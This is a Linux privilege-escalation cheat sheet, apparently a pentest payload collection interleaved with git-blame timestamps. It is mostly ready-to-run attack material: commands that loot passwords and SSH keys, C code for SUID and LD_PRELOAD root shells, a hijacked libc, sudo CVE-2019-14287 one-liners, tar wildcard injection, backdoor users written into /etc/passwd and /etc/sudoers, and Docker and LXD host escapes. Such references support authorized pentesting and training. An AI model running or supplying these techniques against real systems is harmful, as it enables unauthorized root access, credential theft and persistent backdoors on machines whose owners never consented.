2018-12-25 14:51:11 +00:00
# Linux - Privilege Escalation
2019-02-26 16:24:10 +00:00
## Summary
2020-02-01 21:12:36 +00:00
* [Tools ](#tools )
2019-11-14 08:59:52 +00:00
* [Checklist ](#checklists )
2019-04-14 19:01:14 +00:00
* [Looting for passwords ](#looting-for-passwords )
* [Files containing passwords ](#files-containing-passwords )
2019-06-29 15:55:13 +00:00
* [Old passwords in /etc/security/opasswd ](#old-passwords-in--etc-security-opasswd )
2019-04-14 19:01:14 +00:00
* [Last edited files ](#last-edited-files )
* [In memory passwords ](#in-memory-passwords )
2019-04-14 22:49:56 +00:00
* [Find sensitive files ](#find-sensitive-files )
2020-04-22 14:00:31 +00:00
* [SSH Key ](#ssh-key )
2020-04-22 14:01:49 +00:00
* [Sensitive files ](#sensitive-files )
2020-04-22 14:00:31 +00:00
* [SSH Key Predictable PRNG (Authorized_Keys) Process ](#ssh-key-predictable-prng-authorized_keys-process )
2019-03-31 13:05:13 +00:00
* [Scheduled tasks ](#scheduled-tasks )
* [Cron jobs ](#cron-jobs )
* [Systemd timers ](#systemd-timers )
2019-02-26 16:24:10 +00:00
* [SUID ](#suid )
2019-03-07 14:09:06 +00:00
* [Find SUID binaries ](#find-suid-binaries )
* [Create a SUID binary ](#create-a-suid-binary )
2019-02-26 16:24:10 +00:00
* [Capabilities ](#capabilities )
2019-03-07 14:09:06 +00:00
* [List capabilities of binaries ](#list-capabilities-of-binaries )
* [Edit capabilities ](#edit-capabilities )
* [Interesting capabilities ](#interesting-capabilities )
2019-02-26 16:24:10 +00:00
* [SUDO ](#sudo )
2019-03-07 14:09:06 +00:00
* [NOPASSWD ](#nopasswd )
2020-02-01 21:12:36 +00:00
* [LD_PRELOAD and NOPASSWD ](#ld_preload-and-nopasswd )
2019-03-07 14:09:06 +00:00
* [Doas ](#doas )
2019-04-14 19:01:14 +00:00
* [sudo_inject ](#sudo-inject )
2020-05-28 09:19:16 +00:00
* [CVE-2019-14287 ](#cve-2019-14287 )
2019-03-07 14:09:06 +00:00
* [GTFOBins ](#gtfobins )
* [Wildcard ](#wildcard )
2019-06-10 09:09:02 +00:00
* [Writable files ](#writable-files )
* [Writable /etc/passwd ](#writable-etcpasswd )
* [Writable /etc/sudoers ](#writable-etcsudoers )
2019-03-08 19:09:01 +00:00
* [NFS Root Squashing ](#nfs-root-squashing )
* [Shared Library ](#shared-library )
* [ldconfig ](#ldconfig )
* [RPATH ](#rpath )
2019-02-26 16:24:10 +00:00
* [Groups ](#groups )
* [Docker ](#docker )
2019-03-08 19:09:01 +00:00
* [LXC/LXD ](#lxclxd )
2019-06-09 22:05:47 +00:00
* [Kernel Exploits ](#kernel-exploits )
2019-06-09 18:53:41 +00:00
* [CVE-2016-5195 (DirtyCow) ](#CVE-2016-5195-dirtycow )
* [CVE-2010-3904 (RDS) ](#[CVE-2010-3904-rds )
* [CVE-2010-4258 (Full Nelson) ](#CVE-2010-4258-full-nelson )
* [CVE-2012-0056 (Mempodipper) ](#CVE-2012-0056-mempodipper )
2019-02-26 16:24:10 +00:00
2020-02-01 21:12:36 +00:00
## Tools
2020-10-29 10:50:05 +00:00
There are many scripts that you can execute on a linux machine which automatically enumerate sytem information, processes, and files to locate privilege escelation vectors.
Here are a few:
- [LinPEAS - Linux Privilege Escalation Awesome Script ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS )
```powershell
wget "https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh" -O linpeas.sh
curl "https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh" -o linpeas.sh
./linpeas.sh -a #all checks - deeper system enumeration, but it takes longer to complete.
./linpeas.sh -s #superfast & stealth - This will bypass some time consuming checks. In stealth mode Nothing will be written to the disk.
./linpeas.sh -P #Password - Pass a password that will be used with sudo -l and bruteforcing other users
```
2020-02-01 21:12:36 +00:00
- [LinuxSmartEnumeration - Linux enumeration tools for pentesting and CTFs ](https://github.com/diego-treitos/linux-smart-enumeration )
```powershell
wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh
curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -o lse.sh
./lse.sh -l1 # shows interesting information that should help you to privesc
./lse.sh -l2 # dump all the information it gathers about the system
```
- [LinEnum - Scripted Local Linux Enumeration & Privilege Escalation Checks ](https://github.com/rebootuser/LinEnum )
```powershell
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
```
- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac ](https://github.com/AlessandroZ/BeRoot )
- [linuxprivchecker.py - a Linux Privilege Escalation Check Script ](https://github.com/sleventyeleven/linuxprivchecker )
- [unix-privesc-check - Automatically exported from code.google.com/p/unix-privesc-check ](https://github.com/pentestmonkey/unix-privesc-check )
- [Privilege Escalation through sudo - Linux ](https://github.com/TH3xACE/SUDO_KILLER )
2018-12-25 14:51:11 +00:00
## Checklists
* Kernel and distribution release details
* System Information:
* Hostname
* Networking details:
* Current IP
* Default route details
* DNS server information
* User Information:
* Current user details
* Last logged on users
* Shows users logged onto the host
* List all users including uid/gid information
* List root accounts
* Extracts password policies and hash storage method information
* Checks umask value
* Checks if password hashes are stored in /etc/passwd
2019-03-18 22:19:36 +00:00
* Extract full details for 'default' uid's such as 0, 1000, 1001 etc
2018-12-25 14:51:11 +00:00
* Attempt to read restricted files i.e. /etc/shadow
2019-09-02 10:36:40 +00:00
* List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.)
2018-12-25 14:51:11 +00:00
* Basic SSH checks
* Privileged access:
* Which users have recently used sudo
* Determine if /etc/sudoers is accessible
* Determine if the current user has Sudo access without a password
2019-03-18 22:19:36 +00:00
* Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.)
* Is root's home directory accessible
2018-12-25 14:51:11 +00:00
* List permissions for /home/
* Environmental:
* Display current $PATH
* Displays env information
* Jobs/Tasks:
* List all cron jobs
* Locate all world-writable cron jobs
* Locate cron jobs owned by other users of the system
* List the active and inactive systemd timers
* Services:
* List network connections (TCP & UDP)
* List running processes
* Lookup and list process binaries and associated permissions
* List inetd.conf/xined.conf contents and associated binary file permissions
* List init.d binary permissions
* Version Information (of the following):
* Sudo
* MYSQL
* Postgres
* Apache
* Checks user config
* Shows enabled modules
* Checks for htpasswd files
* View www directories
* Default/Weak Credentials:
* Checks for default/weak Postgres accounts
* Checks for default/weak MYSQL accounts
* Searches:
* Locate all SUID/GUID files
* Locate all world-writable SUID/GUID files
* Locate all SUID/GUID files owned by root
2019-03-18 22:19:36 +00:00
* Locate 'interesting' SUID/GUID files (i.e. nmap, vim etc)
2018-12-25 14:51:11 +00:00
* Locate files with POSIX capabilities
* List all world-writable files
* Find/list all accessible *.plan files and display contents
* Find/list all accessible *.rhosts files and display contents
* Show NFS server details
* Locate *.conf and * .log files containing keyword supplied at script runtime
* List all *.conf files located in /etc
* Locate mail
* Platform/software specific tests:
* Checks to determine if we're in a Docker container
* Checks to see if the host has Docker installed
* Checks to determine if we're in an LXC container
2019-04-14 19:01:14 +00:00
## Looting for passwords
### Files containing passwords
```powershell
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
```
2019-06-29 15:55:13 +00:00
### Old passwords in /etc/security/opasswd
The `/etc/security/opasswd` file is used also by pam_cracklib to keep the history of old passwords so that the user will not reuse them.
:warning: Treat your opasswd file like your /etc/shadow file because it will end up containing user password hashes
2019-04-14 19:01:14 +00:00
### Last edited files
Files that were edited in the last 10 minutes
```powershell
find / -mmin -10 2>/dev/null | grep -Ev "^/proc"
```
### In memory passwords
```powershell
strings /dev/mem -n10 | grep -i PASS
```
2019-04-14 22:49:56 +00:00
### Find sensitive files
```powershell
$ locate password | more
/boot/grub/i386-pc/password.mod
/etc/pam.d/common-password
/etc/pam.d/gdm-password
/etc/pam.d/gdm-password.original
/lib/live/config/0031-root-password
...
```
2020-04-22 13:55:10 +00:00
## SSH Key
### Sensitive files
```
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
...
```
### SSH Key Predictable PRNG (Authorized_Keys) Process
This module describes how to attempt to use an obtained authorized_keys file on a host system.
Needed : SSH-DSS String from authorized_keys file
**Steps**
1. Get the authorized_keys file. An example of this file would look like so:
```
ssh-dss AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf ... (snipped) ...
```
2. Since this is an ssh-dss key, we need to add that to our local copy of `/etc/ssh/ssh_config` and `/etc/ssh/sshd_config` :
```
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/ssh_config
2021-02-05 11:24:49 +00:00
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/sshd_config
2020-04-22 13:55:10 +00:00
/etc/init.d/ssh restart
```
3. Get [g0tmi1k's debian-ssh repository ](https://github.com/g0tmi1k/debian-ssh ) and unpack the keys:
```
git clone https://github.com/g0tmi1k/debian-ssh
cd debian-ssh
tar vjxf common_keys/debian_ssh_dsa_1024_x86.tar.bz2
```
4. Grab the first 20 or 30 bytes from the key file shown above starting with the `"AAAA..."` portion and grep the unpacked keys with it as:
```
grep -lr 'AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf'
dsa/1024/68b329da9893e34099c7d8ad5cb9c940-17934.pub
```
5. IF SUCCESSFUL, this will return a file (68b329da9893e34099c7d8ad5cb9c940-17934.pub) public file. To use the private key file to connect, drop the '.pub' extension and do:
```
ssh -vvv victim@target -i 68b329da9893e34099c7d8ad5cb9c940-17934
```
And you should connect without requiring a password. If stuck, the `-vvv` verbosity should provide enough details as to why.
2019-03-31 13:05:13 +00:00
## Scheduled tasks
### Cron jobs
2019-01-13 21:05:39 +00:00
2019-03-07 14:09:06 +00:00
Check if you have access with write permission on these files.
Check inside the file, to find other paths with write permissions.
```powershell
/etc/init.d
2019-03-18 22:19:36 +00:00
/etc/cron*
/etc/crontab
/etc/cron.allow
2019-03-07 14:09:06 +00:00
/etc/cron.d
2019-03-18 22:19:36 +00:00
/etc/cron.deny
2019-03-07 14:09:06 +00:00
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
/etc/sudoers
/etc/exports
/etc/anacrontab
2019-03-18 22:19:36 +00:00
/var/spool/cron
2019-03-07 14:09:06 +00:00
/var/spool/cron/crontabs/root
2019-06-29 17:23:34 +00:00
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*
2019-03-07 14:09:06 +00:00
```
2019-01-13 21:05:39 +00:00
2019-08-18 20:24:48 +00:00
You can use [pspy ](https://github.com/DominicBreuker/pspy ) to detect a CRON job.
```powershell
# print both commands and file system events and scan procfs every 1000 ms (=1sec)
./pspy64 -pf -i 1000
```
2019-03-31 13:05:13 +00:00
## Systemd timers
```powershell
systemctl list-timers --all
NEXT LEFT LAST PASSED UNIT ACTIVATES
Mon 2019-04-01 02:59:14 CEST 15h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily.timer apt-daily.service
Mon 2019-04-01 06:20:40 CEST 19h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily-upgrade.timer apt-daily-upgrade.service
Mon 2019-04-01 07:36:10 CEST 20h left Sat 2019-03-09 14:28:25 CET 3 weeks 0 days ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
3 timers listed.
```
2019-01-13 21:05:39 +00:00
## SUID
SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux distributions. If a file with this bit is ran, the uid will be changed by the owner one. If the file owner is `root` , the uid will be changed to `root` even if it was executed from user `bob` . SUID bit is represented by an `s` .
```powershell
╭─swissky@lab ~
╰─$ ls /usr/bin/sudo -alh
-rwsr-xr-x 1 root root 138K 23 nov. 16:04 /usr/bin/sudo
```
### Find SUID binaries
```bash
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
2019-07-01 21:29:29 +00:00
find / -uid 0 -perm -4000 -type f 2>/dev/null
2019-01-13 21:05:39 +00:00
```
### Create a SUID binary
```bash
print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c
gcc -o /tmp/suid /tmp/suid.c
sudo chmod +x /tmp/suid # execute right
sudo chmod +s /tmp/suid # setuid bit
```
2019-02-26 16:24:10 +00:00
## Capabilities
2019-01-13 21:05:39 +00:00
2019-03-07 14:09:06 +00:00
### List capabilities of binaries
2019-01-13 21:05:39 +00:00
```bash
2019-03-07 14:27:54 +00:00
╭─swissky@lab ~
2019-03-07 14:09:06 +00:00
╰─$ /usr/bin/getcap -r /usr/bin
2019-01-13 21:05:39 +00:00
/usr/bin/fping = cap_net_raw+ep
/usr/bin/dumpcap = cap_dac_override,cap_net_admin,cap_net_raw+eip
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/rlogin = cap_net_bind_service+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/rsh = cap_net_bind_service+ep
/usr/bin/rcp = cap_net_bind_service+ep
```
2019-03-07 14:09:06 +00:00
### Edit capabilities
2019-01-13 21:05:39 +00:00
```powershell
2019-03-07 14:09:06 +00:00
/usr/bin/setcap -r /bin/ping # remove
/usr/bin/setcap cap_net_raw+p /bin/ping # add
2019-01-13 21:05:39 +00:00
```
2019-03-07 14:09:06 +00:00
### Interesting capabilities
2019-02-26 16:24:10 +00:00
2019-05-25 16:19:08 +00:00
Having the capability =ep means the binary has all the capabilities.
```powershell
$ getcap openssl /usr/bin/openssl
openssl=ep
```
Alternatively the following capabilities can be used in order to upgrade your current privileges.
2019-02-26 16:24:10 +00:00
```powershell
cap_dac_read_search # read anything
cap_setuid+ep # setuid
```
Example of privilege escalation with `cap_setuid+ep`
```powershell
2019-03-07 14:09:06 +00:00
$ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7
2019-02-26 16:24:10 +00:00
$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
sh-5.0# id
uid=0(root) gid=1000(swissky)
```
2019-12-05 22:06:53 +00:00
| Capabilities name | Description |
|---|---|
| CAP_AUDIT_CONTROL | Allow to enable/disable kernel auditing |
| CAP_AUDIT_WRITE | Helps to write records to kernel auditing log |
| CAP_BLOCK_SUSPEND | This feature can block system suspends |
| CAP_CHOWN | Allow user to make arbitrary change to files UIDs and GIDs |
| CAP_DAC_OVERRIDE | This helps to bypass file read, write and execute permission checks |
| CAP_DAC_READ_SEARCH | This only bypass file and directory read/execute permission checks |
| CAP_FOWNER | This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file |
| CAP_KILL | Allow the sending of signals to processes belonging to others |
| CAP_SETGID | Allow changing of the GID |
| CAP_SETUID | Allow changing of the UID |
| CAP_SETPCAP | Helps to transferring and removal of current set to any PID |
| CAP_IPC_LOCK | This helps to lock memory |
| CAP_MAC_ADMIN | Allow MAC configuration or state changes |
| CAP_NET_RAW | Use RAW and PACKET sockets |
| CAP_NET_BIND_SERVICE | SERVICE Bind a socket to internet domain privileged ports |
2019-01-22 20:45:41 +00:00
## SUDO
2020-05-28 09:19:16 +00:00
2019-08-18 22:55:30 +00:00
Tool: [Sudo Exploitation ](https://github.com/TH3xACE/SUDO_KILLER )
2019-01-13 21:05:39 +00:00
2019-03-07 14:09:06 +00:00
### NOPASSWD
2019-01-22 20:45:41 +00:00
Sudo configuration might allow a user to execute some command with another user privileges without knowing the password.
```bash
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
In this example the user `demo` can run `vim` as `root` , it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh` .
```bash
sudo vim -c '!sh'
sudo -u root vim -c '!sh'
```
2019-03-07 14:09:06 +00:00
### LD_PRELOAD and NOPASSWD
If `LD_PRELOAD` is explicitly defined in the sudoers file
```powershell
Defaults env_keep += LD_PRELOAD
```
2020-02-01 21:12:36 +00:00
Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
2019-03-07 14:09:06 +00:00
```powershell
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
```
2020-02-01 21:12:36 +00:00
Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD=<full_path_to_so_file> <program>` , e.g: `sudo LD_PRELOAD=/tmp/shell.so find`
2019-03-07 14:09:06 +00:00
### Doas
2019-01-22 20:45:41 +00:00
There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf`
```bash
permit nopass demo as root cmd vim
```
2019-04-14 19:01:14 +00:00
### sudo_inject
Using [https://github.com/nongiach/sudo_inject ](https://github.com/nongiach/sudo_inject )
```powershell
$ sudo whatever
[sudo] password for user:
# Press <ctrl>+c since you don't have the password.
# This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
```
Slides of the presentation : [https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf ](https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf )
2020-05-28 09:19:16 +00:00
### CVE-2019-14287
```powershell
# Exploitable when a user have the following permissions (sudo -l)
(ALL, !root) ALL
# If you have a full TTY, you can exploit it like this
sudo -u#-1 /bin/bash
2020-06-01 19:37:32 +00:00
sudo -u#4294967295 id
2020-05-28 09:19:16 +00:00
```
2019-03-07 14:09:06 +00:00
## GTFOBins
2019-01-07 17:15:45 +00:00
[GTFOBins ](https://gtfobins.github.io ) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
2019-01-13 21:05:39 +00:00
The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
2019-01-07 17:15:45 +00:00
2019-02-27 23:36:53 +00:00
> gdb -nx -ex '!sh' -ex quit
> sudo mysql -e '\! /bin/sh'
2019-03-07 14:27:54 +00:00
> strace -o /dev/null /bin/sh
2019-03-07 14:09:06 +00:00
> sudo awk 'BEGIN {system("/bin/sh")}'
## Wildcard
2019-03-18 22:19:36 +00:00
By using tar with – checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that's where the wildcard comes in handy.
2019-03-07 14:09:06 +00:00
```powershell
# create file for exploitation
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" > shell.sh
# vulnerable script
tar cf archive.tar *
```
Tool: [wildpwn ](https://github.com/localh0t/wildpwn )
2019-06-10 09:09:02 +00:00
## Writable files
2019-03-07 14:09:06 +00:00
2019-07-01 21:29:29 +00:00
List world writable files on the system.
2019-06-10 09:09:02 +00:00
```powershell
2020-03-29 15:40:39 +00:00
find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
2019-07-01 21:29:29 +00:00
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
2019-06-10 09:09:02 +00:00
```
2020-05-04 09:44:24 +00:00
### Writable /etc/sysconfig/network-scripts/ (Centos/Redhat)
/etc/sysconfig/network-scripts/ifcfg-1337 for example
```powershell
NAME=Network /bin/id < = Note the blank space
ONBOOT=yes
DEVICE=eth0
EXEC :
./etc/sysconfig/network-scripts/ifcfg-1337
```
2021-04-15 10:07:43 +00:00
src : [https://vulmon.com/exploitdetailsqidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f ](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f )
2020-05-04 09:44:24 +00:00
2019-06-10 09:09:02 +00:00
### Writable /etc/passwd
2019-04-07 21:40:36 +00:00
2019-07-01 21:29:29 +00:00
First generate a password with one of the following commands.
2019-04-07 21:40:36 +00:00
```powershell
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
Then add the user `hacker` and add the generated password.
```powershell
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
You can now use the `su` command with `hacker:hacker`
2019-06-09 11:46:40 +00:00
Alternatively you can use the following lines to add a dummy user without a password.
WARNING: you might degrade the current security of the machine.
```powershell
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
2019-06-09 14:05:44 +00:00
NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd` , also the `/etc/shadow` is renamed to `/etc/spwd.db` .
2019-04-07 21:40:36 +00:00
2019-06-10 09:09:02 +00:00
### Writable /etc/sudoers
2019-06-10 09:00:54 +00:00
```powershell
echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers
# use SUDO without password
echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers
2019-09-02 10:36:40 +00:00
echo "username ALL=NOPASSWD: /bin/bash" >>/etc/sudoers
2019-06-10 09:00:54 +00:00
```
2019-03-07 14:09:06 +00:00
## NFS Root Squashing
2020-02-01 21:12:36 +00:00
When **no_root_squash** appears in `/etc/exports` , the folder is shareable and a remote user can mount it.
2019-03-07 14:09:06 +00:00
```powershell
2020-02-01 21:12:36 +00:00
# remote check the name of the folder
showmount -e 10.10.10.10
2019-03-07 14:09:06 +00:00
# create dir
mkdir /tmp/nfsdir
# mount directory
2020-02-01 21:12:36 +00:00
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir
2019-03-07 14:09:06 +00:00
cd /tmp/nfsdir
# copy wanted shell
cp /bin/bash .
# set suid permission
chmod +s bash
```
2019-01-07 17:15:45 +00:00
2019-03-08 19:09:01 +00:00
## Shared Library
### ldconfig
Identify shared libraries with `ldd`
```powershell
$ ldd /opt/binary
linux-vdso.so.1 (0x00007ffe961cd000)
vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000)
```
Create a library in `/tmp` and activate the path.
```powershell
gcc – Wall – fPIC – shared – o vulnlib.so /tmp/vulnlib.c
echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf & & ldconfig -l /tmp/vulnlib.so
/opt/binary
```
### RPATH
```powershell
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable.
```powershell
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
```powershell
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char ** , char ** ), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
```
2019-01-07 17:15:45 +00:00
## Groups
### Docker
Mount the filesystem in a bash container, allowing you to edit the `/etc/passwd` as root, then add a backdoor account `toor:password` .
```bash
$> docker run -it --rm -v $PWD:/mnt bash
$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
```
2019-06-29 17:23:34 +00:00
Almost similar but you will also see all processes running on the host and be connected to the same NICs.
```powershell
docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash
```
2019-02-26 16:24:10 +00:00
Or use the following docker image from [chrisfosterelli ](https://hub.docker.com/r/chrisfosterelli/rootplease/ ) to spawn a root shell
```powershell
$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
latest: Pulling from chrisfosterelli/rootplease
2de59b831a23: Pull complete
354c3661655e: Pull complete
91930878a2d7: Pull complete
a3ed95caeb02: Pull complete
489b110c54dc: Pull complete
Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
Status: Downloaded newer image for chrisfosterelli/rootplease:latest
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
sh-5.0# id
uid=0(root) gid=0(root) groups=0(root)
```
2019-08-30 15:25:07 +00:00
More docker privilege escalation using the Docker Socket.
```powershell
sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
2019-03-07 14:27:54 +00:00
### LXC/LXD
The privesc requires to run a container with elevated privileges and mount the host filesystem inside.
```powershell
╭─swissky@lab ~
╰─$ id
uid=1000(swissky) gid=1000(swissky) groupes=1000(swissky),3(sys),90(network),98(power),110(lxd),991(lp),998(wheel)
```
Build an Alpine image and start it using the flag `security.privileged=true` , forcing the container to interact as root with the host filesystem.
```powershell
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
./build-alpine -a i686
# import the image
lxc image import ./alpine.tar.gz --alias myimage
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```
2019-02-26 16:24:10 +00:00
2019-06-09 11:46:40 +00:00
Alternatively https://github.com/initstring/lxd_root
2019-06-09 22:05:47 +00:00
## Kernel Exploits
2019-06-09 18:53:41 +00:00
2019-06-09 22:05:47 +00:00
Precompiled exploits can be found inside these repositories, run them at your own risk !
* [bin-sploits - @offensive-security ](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits )
* [kernel-exploits - @lucyoa ](https://github.com/lucyoa/kernel-exploits/ )
2020-10-29 10:22:08 +00:00
The following exploits are known to work well, search for more exploits with `searchsploit -w linux kernel centos` .
Another way to find a kernel exploit is to get the specific kernel version and linux distro of the machine by doing `uname -a`
Copy the kernel version and distribution, and search for it in google or in https://www.exploit-db.com/.
2019-06-09 18:53:41 +00:00
### CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel < = 3.19.0-73.8
```powershell
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
2019-06-29 17:23:34 +00:00
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
2019-06-09 18:53:41 +00:00
```
### CVE-2010-3904 (RDS)
Linux RDS Exploit - Linux Kernel < = 2.6.36-rc8
```powershell
https://www.exploit-db.com/exploits/15285/
```
### CVE-2010-4258 (Full Nelson)
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04)
```powershell
https://www.exploit-db.com/exploits/15704/
```
### CVE-2012-0056 (Mempodipper)
Linux Kernel 2.6.39 < 3.2.2 ( Gentoo / Ubuntu x86 / x64 )
```powershell
https://www.exploit-db.com/exploits/18411
```
2018-12-25 14:51:11 +00:00
## References
2019-02-26 16:24:10 +00:00
- [SUID vs Capabilities - Dec 7, 2017 - Nick Void aka mn3m ](https://mn3m.info/posts/suid-vs-capabilities/ )
2019-04-07 21:40:36 +00:00
- [Privilege escalation via Docker - April 22, 2015 - Chris Foster ](https://fosterelli.co/privilege-escalation-via-docker.html )
- [An Interesting Privilege Escalation vector (getcap/setcap) - NXNJZ - AUGUST 21, 2018 ](https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/ )
2019-03-07 14:09:06 +00:00
- [Exploiting wildcards on Linux - Berislav Kucan ](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/ )
- [Code Execution With Tar Command - p4pentest ](http://p4pentest.in/2016/10/19/code-execution-with-tar-command/ )
- [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic ](http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt )
2019-03-07 14:27:54 +00:00
- [HOW TO EXPLOIT WEAK NFS PERMISSIONS THROUGH PRIVILEGE ESCALATION? - APRIL 25, 2018 ](https://www.securitynewspaper.com/2018/04/25/use-weak-nfs-permissions-escalate-linux-privileges/ )
2019-04-07 21:40:36 +00:00
- [Privilege Escalation via lxd - @reboare ](https://reboare.github.io/lxd/lxd-escape.html )
2019-04-14 19:01:14 +00:00
